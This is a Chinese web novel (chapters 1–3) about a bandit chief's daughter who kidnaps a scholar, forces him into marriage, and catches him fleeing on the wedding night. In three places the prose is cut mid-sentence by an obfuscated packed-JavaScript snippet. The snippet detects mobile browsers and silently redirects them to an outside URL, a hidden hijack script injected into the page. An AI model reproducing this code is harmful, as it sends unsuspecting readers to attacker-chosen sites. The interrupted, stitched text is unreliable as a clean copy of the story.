《夫君今天逃婚成功了吗》 1. 第 1 章 冬日近午,云平城内人声渐起,街市间喧闹浮动。临街一家茶馆早已座无虚席,茶烟氤氲,暖香缭绕,将窗外透进的寒意也融得温润起来。 崔执瑶推门而入时,见到的仍是如往常一般的情景。 床上的男人双手被缚,绳子另一端系在床柱上。听见门响,他缓缓睁开眼,随即坐起身来,目光紧紧锁在她身上。 崔执瑶今日一身利落黑衣,身形挺拔。她随手将面罩扯下丢在茶桌上,露出一张英气明艳的脸。瞳仁亮如点星,唇角一勾,不似寻常闺秀温婉,反倒透出几分邪气。 她拖了张板凳自顾自坐下,拎起茶壶倒了杯冷茶,这才慢悠悠地开口:“这都几天了,你考虑得如何?” 那人只是沉默。 他生得极好,面庞白皙如玉,长睫浓密,在眼下投下一小片浅影。鼻梁高挺,眼尾微扬的凤眸里凝着薄怒,反倒更添一段风流韵致。 崔执瑶放下茶杯,抬眼看他:“怎么?今日变哑巴了?” 又过了许久,那人才开口,嗓音发颤,字字艰难:“我娶。” 崔执瑶支着脑袋笑了:“早这般痛快多好。” “现在能松绑了吗?”他哑声问 “不着急,”她心情颇好地起身,走到男人面前,微微俯下身和他平视,“相处这些时日,还不知道你叫什么名字?” 男人偏过头,不想对上她的视线:“纪文焕。” “纪文焕……”崔执瑶念着这个名字,又问,“你当日为何会被追杀?” 纪文焕不着痕迹地向后挪了挪:“我在边境一大户人家做工,撞破了他们的秘密,这才遭了灭口之祸。你若怕受牵连,现在放我走还来得及。” 崔执瑶嗤之以鼻:“我怕什么?横竖他们也寻不到我的踪迹。你既跟了我,我自然也有法子让他们再也找不着你。” 她忽然想起什么要紧事:“你没娶亲吧?” “……没。” “家中可还有什么人?需要我派人接到山寨里来照应么?”她问得理所当然。 这话落在纪文焕耳中,却成了明目张胆的挑衅。 这女匪竟想将他全家掳上山来! 他倏地转头瞪向她,眼底几乎要迸出火星:“没有!纪某孑然一身,你可满意了?” 崔执瑶对他的怒意浑不在意,反倒若有所思地点了点头:“如此,倒是正好。” 纪文焕气得咬牙,却拿她无可奈何。 数日前,他在城外遭遇追杀,崔执瑶从天而降将他救下。他惊魂未定,感念之词还未出口,却见她笑吟吟地一记手刀劈在他后颈。再醒来时,人已被绑在这陌生的房间里。 崔执瑶好整以暇地坐在那把木椅上,见他转醒,抱着胳膊,开门见山:“听好了,我是归云寨少主崔执瑶。今日绑你来也不为别的,只想让你同我成个亲,明白了?” 她的语气仿佛在说一件再平常不过的事。 当日纪文焕嘴里还被塞了一块布团,只能发出含糊的呜咽。 崔执瑶瞧他像是有话要说,便伸手扯掉了布团。 纪文焕立刻瞪圆了眼睛,怒斥道:“你这女土匪!光天化日强掳男子,还有没有王法!你就不怕我出去后告到官府,让你吃不了兜着走?” 崔执瑶神色不屑:“报官?就凭你现在这般模样?退一步说,就算让你报了,凭衙门里那些酒囊饭袋,你以为能拿本姑娘如何?” “你……!”纪文焕一口气堵在胸口,“你到底要怎样才肯放了我?” “放人?”崔执瑶歪头看他,“你可是我好不容易才抢回来的,岂能说放就放。再说了,我好歹也算救了你一命,让你以身相许来报恩,不过分吧?” 她语气笃定,“所以,你眼前只有一条路,那就是同我成亲。” “我绝不……”纪文焕话音未落,就见崔执瑶指尖轻轻摩挲着杯沿,眸光流转间,手中青瓷杯悄无声息地化作细粉,从她指缝簌簌滑落。 她拍了拍手,目光落在他身上,语气无辜:“不答应啊……那我可说不准,接下来会一个不小心,卸了你的胳膊,还是拆了你的腿呢?毕竟我是土匪,手脚没个轻重的。” 纪文焕见她手段如此狠辣,心下骇然,一时语塞,但沉默片刻,仍是硬着脖子重申:“我绝不会娶你。” 没想到这女匪十分坚持不懈,一连几日都来“探视”他。 纪文焕曾忍不住问她:“天下男子众多,为何偏偏是我?” 崔执瑶答得坦然:“因为你生得最好看,本姑娘瞧上眼了。” 纪文焕平生第一次恨不得自己是个丑八怪。 见硬碰硬毫无胜算,纪文焕也换过策略,温和又诚恳地劝说:“姑娘,婚姻大事讲究父母之命、媒妁之言,这般儿戏,实在不合礼数……” “礼数?”崔执瑶眼中揶揄,“你都叫我女土匪了,土匪抢压寨夫君,需要讲什么礼数?” 纪文焕使尽解数,可任凭他好说歹说,这女匪咬死了非要与他成亲。他已经被绑在这里数日,绝不能再这样耗下去了。 留得青山在不怕没柴烧。 眼下最要紧的是得先哄她松绑。只要解了这身束缚,何愁寻不着脱身的机会? 纪文焕想着,崔执瑶的声音又将他从纷乱的思绪中骤然拽回。 “你再仔细说说家里的情况。家在边境何处,又在哪家府上做工?既是逃亡,总要有个投奔的去处。在这世上,当真连一个能倚仗的亲眷都无了?” 纪文焕默然片刻,方低声道:“我家在宣府镇辖境,父母原是总兵府里的奴仆,去得早。我幼时读了些书,后来便留在府上,给总兵家的小公子开蒙授课。此番是想往京安去,寻一门远亲。” “被追杀的人,还想着投亲?”崔执瑶状似惊讶,“你就不怕连人带亲,被一锅端了?” “你懂什么!”纪文焕陡然激动,“我要投奔的不是寻常门户——那是京安城里数得上的人家。只要我能踏进京安城,他们自然护得住我!” “护你?”崔执瑶讥诮道,“若他们真有心、有力护你,你又何至于狼狈至此?官场沉浮,人心凉薄,一门八竿子打不着的远亲,凭什么为你这落魄书生赌上身家前程?” 她语声渐沉,一字一字:“只怕你人还没到京安,就已经——” 话音未落,她看见纪文焕眼中骤起的怨怼与惊惶,这才缓缓补上最后一句: “死在半路了。” 纪文焕冷哼一声,别开脸去:“休要在此妖言惑众!我只问你,何时才肯放人?” “急什么。”崔执瑶起身拂了拂衣袖,“再等两日。今日你答得痛快,本姑娘很满意。” 她推门而出,将纪文焕气急败坏的叫嚷尽数关在门后。 茶楼的檀木楼梯吱呀作响,崔执瑶缓步而下,正瞧见掌柜叶怡木在训斥新来的小二。她过去三言两语打了个圆场,那小二如蒙大赦,连连道谢着退下了。 “你倒是惯会做人情。”叶怡木斜睨了她一眼。 崔执瑶笑吟吟凑近:“哪比得上叶娘子人美心善?” 叶怡木早已习惯她这般甜嘴,转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966312|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往柜台走去,听得脚步声轻快地跟上来。 “今日心情这般好?”叶怡木从柜上取了账本,“那绑来的小子,叫你收拾服帖了?” 崔执瑶倚在柜台边:“算是开了个口子。不过还得劳你再帮我查他一查。” 待崔执瑶将纪文焕所言细细复述完毕,叶怡木沉吟片刻,终是忍不住问道:“你爹不过是要你与师兄成亲。你们自幼一同长大的情分,就这般难为?值得你非要找个来路不明的人回来,也不愿嫁他?” 崔执瑶顿觉头疼:“老爷子不知怎么想的!我与陶肃已是水火不容,若真要与他过日子,我宁可一头撞死。况且我才十八,何必急着嫁人?那日也是被逼得急了,我才谎称自己已有心上人。” 她轻叹一声,指尖无意识地划过柜台:“他们自是不信,非要我在月底前带人回山寨成亲,否则就要我与师兄完婚,再不然就不认我这个女儿。为了哄他老人家,我可是煞费苦心。”她唇角一翘,“说来也是运气,那日下山便撞见了此人。” 叶怡木凝视着她:“那你可想好假成婚之后,你待如何收场?” “谁说是假成婚了?”崔执瑶不满地挑眉,“我可是真心看中了他的。” 叶怡木吃了一惊:“你还真要与他过一辈子?人家可愿意?” 崔执瑶混不吝道:“他如今孤身一人,又落入我手,愿不愿意,可由不得他选了。” —— 三日后,山寨。 晨雾未散,青灰色的薄霭还缭绕在屋檐树梢。崔执瑶悄悄推开房门,沿着青石小径快步穿过练武场,正欲溜出寨门,身后却传来一道清朗的嗓音: “师妹这一大早,又要下山?” 崔执瑶脚步一顿,缓缓回身。只见师兄陶肃抱臂立在练武场中央。他身后,几个早起的弟兄也好奇地张望。 “正是。”她扬起下巴,“师兄有何指教?” “指教不敢。”陶肃踱步上前,声音温和却带着审视,“只是师妹这几日频频下山,做师兄的难免担忧。若真遇上什么难处,不妨说出来,也好让师兄安心。” “听说大小姐前儿跟寨主吵翻了,说自己有个什么……情郎?”一个愣头青突然高声嚷道,引得周围渐渐聚拢的弟兄哄笑起来,“大小姐,您该不会天天溜下山去私会情郎吧!” 虽知他是玩笑,崔执瑶却大方承认:“笑什么笑?我就是下山寻情郎的,怎么了?” 此言一出,众人顿时炸了锅。 “什么?大小姐真有情郎了?” “那陶大哥怎么办?你们不是快成亲了吗?” “就是!肥水不流外人田啊!” 陶肃抬手,示意众人安静,然后看向崔执瑶,低声道:“师妹,在师父面前嘴硬便罢了。在兄弟们面前,就别编这瞎话了。你从小到大,下过几次山?哪儿来的情郎?” 崔执瑶翻了个白眼:“女儿家的私事,难道还要一一向你禀报不成?” “哦?”陶肃挑眉,“既然不是编的,那你便说说,你那情郎姓甚名谁,何方人士,现在何处?也好让弟兄们认认人。” 崔执瑶迎上他的目光:“好啊,既然你们都想听,那我就说个明白。他叫纪文焕,北城人士,曾在都督府上教书,逃难至此被我搭救。这一来二去的,便生了情意——听清楚了?” 陶肃脸色微沉:“师妹,你可不要平白污了人家清白少年的名声。” 崔执瑶嗤笑一声,转身就要走: “师兄若是不信,今日我便将他带上山来,到时自有分晓。” 2. 第 2 章 崔执瑶进店时,脸上仍有煞气。 叶怡木正倚在柜台,抬眼瞧见她这模样,不由轻笑:“今日又是哪个不长眼的,惹了我们大小姐不快?” “别提了。”崔执瑶一摆手,径直走到柜台前,“木娘,我托你查的事可有消息了?” 叶怡木见她不愿多言,便也收了打趣的心思,正色道:“派人核实过了。宣府镇段总兵府上,确实有位叫纪文焕的先生,曾为府中小公子授过诗书,如今已不知去向。此外只知他在京安还有位表外祖母,别的就查不到了。” 崔执瑶神色稍霁:“如此说来,他倒没骗我。” 她行事虽不拘常理,却自有分寸。纪文焕若是被仇家追杀或得罪了人,这些前尘旧怨,待他入了山寨自会了断——那些人再如何也寻不到那儿去。可若他真是朝廷重犯,或是什么杀人越货的恶徒,她断不敢将这等祸患带回寨中,平白连累了弟兄们。 心头这块石头落了地,崔执瑶顿觉舒畅许多。她冲叶怡木扬唇一笑,转身便往楼上走去。 纪文焕见到崔执瑶时微微一怔——这是头一回见她未着夜行衣的模样。杏色窄袖襦裙外罩着竹青比甲,墨发简简单单束成高马尾,倒像是寻常人家的俏丽女郎。看来今日不是顺路,是专程为他而来。 他轻叹一声,嗓音疲惫:“崔姑娘,在下等候多时了。既然已查清在下来历,现在可否为在下松绑?” 虽然崔执瑶从未明说,但他心知肚明这几日她定是去查他的底细了。 “这是自然。”崔执瑶负手踱到床前,“本姑娘今日就是来带你回山寨的。” 她俯身解开床柱上的绳结,绳索应声滑落时,正撞见纪文焕满眼期待地望着她,分明是盼着她赶紧解开自己手上的束缚。可她偏起了坏心,扯住绳端猛地一拽—— 她力气本就大,纪文焕又毫无防备,整个人顿时向前扑去。抬头时,正对上崔执瑶得逞的目光,那双明亮的眼睛里盛满了狡黠。 纪文焕无奈:“戏弄在下,就这般有趣?” 崔执瑶眉梢轻挑:“若是无趣,我又何必费这个心思?” 纪文焕瞧着崔执瑶脸上的笑意,心头莫名觉得熟悉。然而还未等他细想,便见她突然抬手——他瞳孔骤缩,惊觉不妙,却已来不及做出任何反应。 眼前骤然一黑,昏了过去。 …… 不知过了多久,模糊的议论声渐渐渗入耳中。 纪文焕掀开眼皮,朦胧的视线缓缓聚焦——五六个汉子正凑在他床前,齐刷刷地低头盯着他,那好奇的目光活像在打量什么稀罕物事。 他心头一跳,猛地坐起身来:“你们……” “哟,醒了!”一个络腮胡汉子咧嘴笑道,“咱们是归云寨的。你就是大小姐抢回来的那个新郎官?” 旁边一个精瘦青年凑近细看,啧啧摇头:“瞧着文文弱弱的,肩不能扛手不能提,大小姐到底看上他啥了?” “可不是嘛,”另一个壮汉抱臂而立,“除了这张脸还能看,哪点比得上咱们陶老大?” 七嘴八舌的议论声中,纪文焕反倒冷静下来。这般直来直往的做派,倒与崔执瑶如出一辙,果然是她的山寨。 既已至此,他整了整衣襟,平静开口:“崔执瑶在何处?我要见她。” 纪文焕话音方落,屋外便传来崔执瑶清亮的声音:“行了,都散了吧。围在这儿像什么样子,别吓着人家。” 那些汉子闻声便让开一条道,只见崔执瑶正从门外迈进来,一身杏衣衬得她眉眼明媚张扬。听到崔执瑶的话,那些人乖乖退了出去,转眼间屋内又只剩下他们二人。 纪文焕低头,发现手上已没有绳索。 “我爹要见你。”崔执瑶开门见山。 纪文焕尚未答话,她又逼近一步,压低声音:“什么该说,什么不该说,你可清楚?” “还请姑娘指教。” “首先,”崔执瑶挑眉,“别再姑娘姑娘地叫,太生分了。唤我阿瑶便是。” 纪文焕喉结微动,这个称呼在唇齿间转了一圈,终究没能出口——太过亲昵,他实在叫不惯。 “那你呢?”崔执瑶也不强求,转而问道,“家中人平日如何唤你?” “……随便吧。” “那便叫你纪郎好了。”崔执瑶做了决定,顺势在床沿坐下,目光灼灼地盯住他,“我同我爹说,你是逃难至此被我救下,我们是两情相悦才在一起的。待会儿见了他,该怎么做,你心里应当有数吧?” 纪文焕闻言,心头不由一动。 既然寨主误以为他与其女两情相悦,若是此刻坦言自己是被逼迫而来,是否就能…… 崔执瑶似乎看破他的心思:“怎么,还想把本姑娘逼你来的事,一五一十告诉老爷子?” 纪文焕喉间一紧,默然不语。 她倾身向前,指尖轻轻掠过他衣襟,“你以为这样就能脱身了?不妨告诉你,既然被我瞧上了,便是逃到天涯海角,我也定会将你抓回来。到那时,我可不会再给你什么名分了。说不定……就找个没人找得着的深山小院,将你一辈子锁在里头。” 她声音和软,说出来的话却令人胆寒:“本姑娘的手段,你是知道的。” 她句句带笑,纪文焕却听得脊背发寒,冷汗涔涔。 他喉结滚动,半晌才干涩地吐出几个字:“……在下明白了。” 崔执瑶满意弯唇,领着纪文焕去见崔温茂。 穿过寨中石径,纪文焕不动声色地打量着四周。石屋依山而建、错落有致,屋顶覆着青灰瓦片或石板,烟囱里飘出袅袅炊烟,混着山间雾气,透着几分粗犷与古朴。 行不多时,便见一处气派屋舍坐落于高台之上,比其他石屋要气派得多,庭院开阔,两侧立着合抱粗的梁柱,漆色深沉,自有一派威严。 想来这便是寨主的住处了。 纪文焕随崔执瑶步入堂内,但见两侧交椅整齐排列,上首端坐着一位精神矍铄的中年男子。 “爹,人给您带来了。”崔执瑶径自寻了个位置坐下,全然不拘礼数。 纪文焕恭敬施礼:“晚辈纪文焕,见过寨主。” 崔温茂微微颔首:“坐吧。” 待纪文焕落座,崔温茂目看着他:“你的情况阿瑶已同我说过。如今我只问你一句,可是真心入赘我归云寨?” 纪文焕余光瞥见对面崔执瑶那隐含威胁的眼神,只得展颜笑道:“承蒙令爱青眼,晚辈……确是真心。” “那便好。”崔温茂不再多问,“既然如此,你们的婚期也该定下了。” “您不是总操心女儿的终身大事,生怕我嫁不出去么?既然如此,何必拖延。依我看,就定在三日后吧。”崔执瑶爽朗道。 崔温茂略一沉吟:“时日虽紧,倒也来得及。”竟是一口应下,“我这便吩咐下去,着手准备。” 纪文焕端坐椅中,心神俱震。不过短短片刻,他竟眼睁睁看着自己的终身大事被这父女二人三言两语拍板定下。 从里面出来,纪文焕终是忍不住低声道:“三日之期是否太过仓促?一场婚仪岂能这般草率?” 崔执瑶脚步不停,唇角却弯了弯:“没法子,谁叫你是被我掳上山的呢?早些成礼,我也好早些安心。”她忽地驻足,转身正正看向他,“你且宽心,我既招你入赘,便绝不会委屈了你——定让你风风光光地‘嫁’进来。” 纪文焕闻言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966313|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只皮笑肉不笑地扯了扯嘴角,再无一语。 两人继续前行。纪文焕目光游移,忽然瞥见远处山巅之上,有一座孤零零的亭子,看似地势极佳,却不在寨墙范围之内。 他故作随意地问道:“咦?那边山顶上怎么还有个亭子?看着风景不错。” 崔执瑶随意瞥了一眼:“那是望崖台,夜晚观星的好去处。” “看着有些远,不在寨子里?” “不在。”崔执瑶随口答道,并未留意他若有所思的神情。 纪文焕默默记下方位,眼神微闪,还欲再套些话。 走在前面的崔执瑶却仿佛背后长了眼睛,头也不回,声音带着了然的轻笑:“怎么?感兴趣?那地方路有点险,没人带着可不好上去。等你哪天彻底安分了,本姑娘心情好,或许可以带你去开开眼。” 纪文焕立刻收敛心神,做出一副乖巧温顺的模样,拱手道:“那在下就先谢过大小姐了。” 这三日,纪文焕可没闲着。当初应下婚事,不过是为求脱身之策,好教崔执瑶尽快替他松绑。 如今束缚已解,潜逃之事便该筹谋起来了。 他假意顺从,由着崔执瑶带他在寨中走动,熟悉路径。崔执瑶倒也乐意。可纪文焕这才发现,这山寨当真守备森严。 崔执瑶也至始至终都防着他——当初将他打晕了掳上山来,如今放眼望去,四围山势环抱,他竟寻不着一处下山的路。 他几乎要疑心崔执瑶是飞上这山的。 三日光阴倏忽而过。 寨中处处张灯结彩,红绸高挂,囍字满檐,一派喧腾气象。 纪文焕心如死灰,由着丫鬟侍从为他换上那身繁复夺目的绯红婚袍。才被推出房门,便被外头乌泱泱的人群围了个严实——众人似是等候多时,不由分说便将他半拥半推,一路簇拥着往主寨石屋行去。 主寨之前更是人声鼎沸,熙攘非凡。不知是谁高喊了一声:“新郎官来啦!快让路!” 人群应声分开,让出一条道来。道尽头,崔执瑶正立在中央。她亦是一身绯红婚袍,金线绣纹流光溢彩,更衬得她璀璨明艳。 她含笑望着他,见他因这一身红衣,更显出身形挺拔、面容清俊,不由心头一喜,眼底笑意更深。 纪文焕见她立在满堂喜色之中笑靥如花,一步步朝自己走来,竟也不由恍惚了一瞬。 直到崔执瑶走至他面前,盈盈站定,他才蓦地回神。 “纪文焕,”她轻声唤他,眼里亮着光,“你今天真好看。” 纪文焕呼吸一滞,那句“你也是”几乎要脱口而出——现下她确实美得惊人,红衣墨发,明艳不可方物。 可这个念头刚冒出来,他便清醒过来。 他在想什么?这不过是一场荒唐的戏,一场被迫的姻缘。 他垂下眼,终是将那句几句赞美咽了回去。 此时喜娘含笑捧上大红同心结,将一端递入他手中,另一端则交给了崔执瑶。 “新人执同心,恩爱两不疑——” 二人各执一端红绸,并肩在众人的欢呼笑闹声中,一步步向喜堂内走去。 仪式结束后,两个人去嘉宾席敬酒。 纪文焕陪着饮过一轮,便佯装不胜酒力,声称头晕,先行离席回了婚房歇息。 崔执瑶素来海量,今日又是她的大喜之日,心中畅快,便来者不拒,一杯接一杯,几乎没停。 暮色渐沉,欢宴未散,崔执瑶饮得微醺,方移步往喜房去。 她刚踏进院门,却见丫鬟映月提着裙角,脸色煞白地从房内疾奔而来,声音带着哭腔,满是惊惶: “小姐!小姐!不好了!姑爷……姑爷他不见了!” 3. 第 3 章 闻言,崔执瑶顿时清醒了,她倏地抬眸,眼风凌厉,快步跨进屋内。 果然,室内红绸高悬,喜烛摇曳,却空无一人。 “纪文焕……”崔执瑶气得不轻,几乎是咬牙念出这个名字。 她竟小瞧他了,在她崔执瑶的地盘上,在她的新婚之夜,他竟敢逃! 胸膛剧烈起伏,她握拳攥紧,指甲深深陷进掌心,用刺痛强迫自己冷静下来。 她迅速扫视了一眼空荡的婚房,目光在微敞的后窗上停留一瞬,随即对映月低声吩咐,声音冷冽如冰:“这件事不要声张,我亲自去抓他回来。你留在房中见机行事,不要让人发现异样。” 映月急忙应下。 崔执瑶不再多言,反手抽出墙上宝剑,红影一闪,人已携剑融入夜色。 寨子沉浸在新婚的欢愉余韵中,偶有巡夜的梆子声和远处传来的模糊笑闹。崔执瑶提着剑,身影在廊柱、屋舍的阴影间快速穿行,步履迅捷如猫,没有惊动一丝风声。 她脑中飞速闪过几个纪文焕可能藏身之处——马厩柴房、哨塔,甚至后山那处荒废的水榭山洞,她一一去寻,却仍旧没找到人。 难道……他已经出寨了? 今日普寨同乐,看守寨门的人难免松懈……这个念头让她心头愈发沉闷,一股被愚弄的怒火混合着说不清的焦灼直冲头顶。 她不再犹豫,转朝着下山那条隐秘小路奔去。 那路崎岖盘曲,深隐于乱木之后。夜色如墨,月光自层叠枝叶的缝隙间筛落,碎了一地凌乱的光斑。 崔执瑶几乎是凭着本能与对地形的熟稔在黑暗中寻找。 突然,她蹲下身。 泥地上,一个清晰的、与前掌方向相反的脚印映入眼帘——有人在此滑倒,脚掌向后搓出了一道痕迹。 看尺寸倒是对得上纪文焕今日所著之靴! 崔执瑶眼神一凛,指尖抚过那痕迹,泥土尚带一丝微润,离开绝不超过一炷香的时间。 她站起身,回身循着方向上望,前方不远,是一处更为陡峭的斜坡,坡上蔓生的藤条有被新鲜扯断的迹象。 他确实来过此处! 崔执瑶找到了踪迹,却犯了难。 纪文焕既已逃至此地,为何突然转向这陡崖?那可不是下山的路。 她正自思忖,不远处却忽然传来窸窣脚步声。 前方突然现出点点光亮,两名手持火把的山寨弟兄快步近前,急道:“小姐,可算寻着您了。寨主请您速回。” 崔执瑶踏进寨内议事厅时,一股凝重的气息扑面而来,寂静中只听得见她自己的脚步声。 崔温茂端坐首座,面色铁青。两侧站着几位兄弟,个个垂首屏息,唯有陶肃站在最显眼的位置,嘴角噙着一丝藏不住的得意。 她的目光疾速扫过厅内,最终落在一片角落空地上——纪文焕仍一身婚袍,只不过上面沾了不少泥土草屑,发冠歪斜,被麻绳捆得结结实实,模样狼狈不堪,正低头看不清神色。 四目相对的刹那,他飞快地别开视线,不敢与她直视。 崔执瑶死死盯着他,一股邪火从脚底直窜上来,若不是有这满屋子的人,她定要当场把这个作死的绑起来狠狠抽一顿! 她深吸一口气,目光直直望向首座:“爹,这是何意?” 崔温茂朝陶肃示意。 陶肃立即上前一步,声音温润却字字带刺:“师妹,这话该由师父与我问你才是。今夜本是你大喜的日子,师兄我担心兄弟们饮酒误事,特意加派了人手巡防寨子内外。谁承想,没抓到外来的闹事者,倒是在下山的小路上,截住了正要逃走的妹夫。”他刻意加重了“逃走”二字。 “哦?逃?”崔执瑶挑眉,心念电转。 “不仅如此,”陶肃说着从袖中取出一个小布包,当众抖开——几包迷烟粉、火折子等物散落在地,“妹夫身上藏的东西可不少呢!这般装备,可不像是要在寨中安寝的模样。” 他故意顿了顿,目光在她未换的喜服和手中宝剑上打了个转,语气愈发意味深长:“瞧师妹这身打扮,连喜服都来不及换,还提着剑……是急着去寻人了吧?不知师妹能否解释解释,这新婚燕尔的,为何新郎官要连夜‘出逃’,而你又这般匆忙‘追赶’?这所谓的良缘,莫非另有隐情?” 崔执瑶只觉得一股血气直冲脑门,脸上却强自镇定。 陶肃转向崔温茂,语气愈发恳切,眼底却闪着精光:“师父,依徒儿看,师妹先前说的什么两情相悦,根本就是子虚乌有!这纪文焕分明是她强绑来成亲的,就为了推拒您的指婚!” 崔温茂目光平静:“阿瑶,你作何解释?” 崔执瑶不答。 陶肃志得意满,假意叹道:“铁证如山,师妹怕是无可辩驳了。其实师妹若不愿与我成亲,大可直说,何必闹这一出?婚姻大事,岂容儿戏?平白让师父和众位弟兄看了笑话。” 崔执瑶冷冷注视着陶肃虚伪的嘴脸,心头涌起一阵恶心。当初父亲执意要将她许配给陶肃时,她明确表示过反对。走投无路之下,她去找过陶肃,让他一同抗议指婚。 谁知这人竟慢悠悠地反问:“师妹,你我青梅竹马,就算你对我没有男女之情,这山寨上下,难道还能找到比我更合适的良配吗?” 如今倒在这里装起深明大义来了。 崔执瑶冷静地想着退路。今日若真暴露了,父亲放走了纪文焕,大不了她再抓一次,然后同他远走高飞好了。反正她绝不可能留在山寨和陶肃成婚。她要跑,山寨里的人定是抓不住她的。至于纪文焕在山下的那些仇敌…… 她还没完全想好对策,一直沉默的纪文焕倒是先开口了,声音带着一丝沙哑:“陶兄,寨主,可否容纪某一言?” 陶肃倒是没想到他还主动掺和,以为他要控诉崔执瑶的暴行,正好坐实罪名,便大方道:“纪公子若有什么冤屈,尽可道来,师父在此,定会为你做主。” 崔执瑶如蛇蝎般盯着他,眼神警告意味十足——他今日若真敢反咬一口,日后她绝不会让他好过! 纪文焕似乎被她的目光刺到,缩了一下,才开口道:“纪某不懂陶兄所言冤屈是何意。纪某与瑶……娘乃是两情相悦,何来强绑一说?” 此言一出,众人脸色都变了变。 陶肃没想到事情会脱离掌控,笑容微僵。崔执瑶则愣了一瞬,随即又几不可察地勾了下嘴角,像是想看看纪文焕能说出什么花来。 陶肃微语气转冷:“纪公子,人证物证俱在,你还想狡辩什么?莫非是受了什么威胁?” 纪文焕并不看他,只看向崔温茂,神情竟显得有几分诚恳:“寨主明鉴,纪某今日出寨子,可不是为了出逃,而是与阿瑶约定好了,要去寨外的望崖台看星星呢。今日月色皎洁,星子明朗,正是观星好时机。” 顿时,崔执瑶心中了然。望崖台……确实是寨外一处视野极佳之地,也勉强算是在他“逃跑”的路线上。这书生,急智倒是有几分。 陶肃却嗤笑出声:“纪公子这谎话编得忒不尽心了!你们约定好一起去望崖台,为何你二人不同行,非要一前一后?纪公子初来乍到,不熟山路,师妹又怎会让纪公子独自前去等候?这如何说得通!” 纪文焕语气依旧平稳,带着点无奈:“陶兄有所不知。我与阿瑶原本约定戌时四刻一同前往望崖台。但在房中等了许久,不见阿瑶回来,想着她或许是酒兴上头,被兄弟们缠住一时不想脱身。我见窗外月色清透,星河璀璨,实在不想错过这般美景,便想着先去望崖台占个好位置等她。至于路径,阿瑶白日里曾与我描绘过大致方向,我自恃记性尚可,便想试着走走看。” “那你身上的迷烟粉和火折子又怎么解释?” “说来不怕陶兄笑话。”纪文焕面上适时露出一丝窘迫,“我自幼体弱,尤其惧怕蚊虫叮咬,故而临出门前,随手从阿瑶房间的抽屉里拿了一包粉末。但我并不认得那是何物,还以为是驱虫的香粉呢,没想到竟是迷烟粉,真是闹了大笑话。至于火折子嘛,夜里天凉,又是深冬,带着生个火取暖、照亮路径,又有何稀奇?” “胡言乱语!”陶肃有些恼了,“就算如此,兄弟们抓到你时,你可不在望崖台!而是在下山的小路上!” “是,我当时的确不在望崖台。”纪文焕坦然承认,眼神示意地指了指自己袍子上的泥土和刮痕,“夜色模糊,路径不熟,我在前往望崖台的路上不小心踩空,一下子便滚到旁边山坡下去了,陶兄看看我这满身泥污与狼狈就知道了。陶兄不妨问问抓住我的几位弟兄,是在何处发现我的。” 旁边一个参与抓人的弟兄犹豫了一下,主动站出来说:“寨主,陶老大,的确是在望崖台下边那片陡坡上抓到姑爷的。姑爷当时躺在地上,像是摔懵了,身边还有滑落的痕迹。” “既如此,纪公子为何不从正门走呢?守门的弟兄可是说没见过纪公子出去啊?”陶肃紧追不舍。 纪文焕露出恰到好处的疑惑:“我也很疑惑此事。陶兄说加派了人手巡防,莫不是独独漏了正门?我出去时,并未看见守卫。想来也不是陶兄疏忽,今日难得大喜,兄弟们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966314|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贪杯喝多了几盅,暂时离岗也是情有可原。何况,”他再次看了看自己身上醒目的婚服,苦笑道,“我若真是想逃走,为何不换身轻便的常服,还穿着这身大红婚服大摇大摆呢?” “你……你倒是能言善辩!”陶肃气结,“如纪公子所言,世间便真有这么多巧合了?这不过都是你的一面之词!你又有什么证据证明你说的都是真的?” 陶肃同他对视,两人目光在空中交锋,剑拔弩张。 “师兄不也没证据证明,你说的是真的吗?”崔执瑶不再看戏,上前一步,站到纪文焕身前,直面陶肃,“我与纪郎的新婚情趣,师兄也要横加插手,弄出这般乌龙来,倒真是……关心则乱啊。”她语带讥讽。 陶肃脸色涨红:“我如何没有证据?迷烟粉、火折子、他出现在下山小路,这都是证据!只不过全被他巧言曲解罢了!” 崔执瑶冷笑:“能被三言两语便曲解的证据,便算不得铁证!师兄怎能如此狭隘,见不得我与纪郎恩爱?” 陶肃看着这俩人一唱一和、沆瀣一气的模样,气得肝疼,转向崔温茂:“师父!这……这是否太过巧合了?弟子认为,此事绝非那么简单!” 崔温茂沉吟着,正要开口。纪文焕突然轻轻笑了笑,声音不大,却吸引了所有人的注意:“陶兄要证据,也是有的。” 陶肃一脸不妙地看着他。 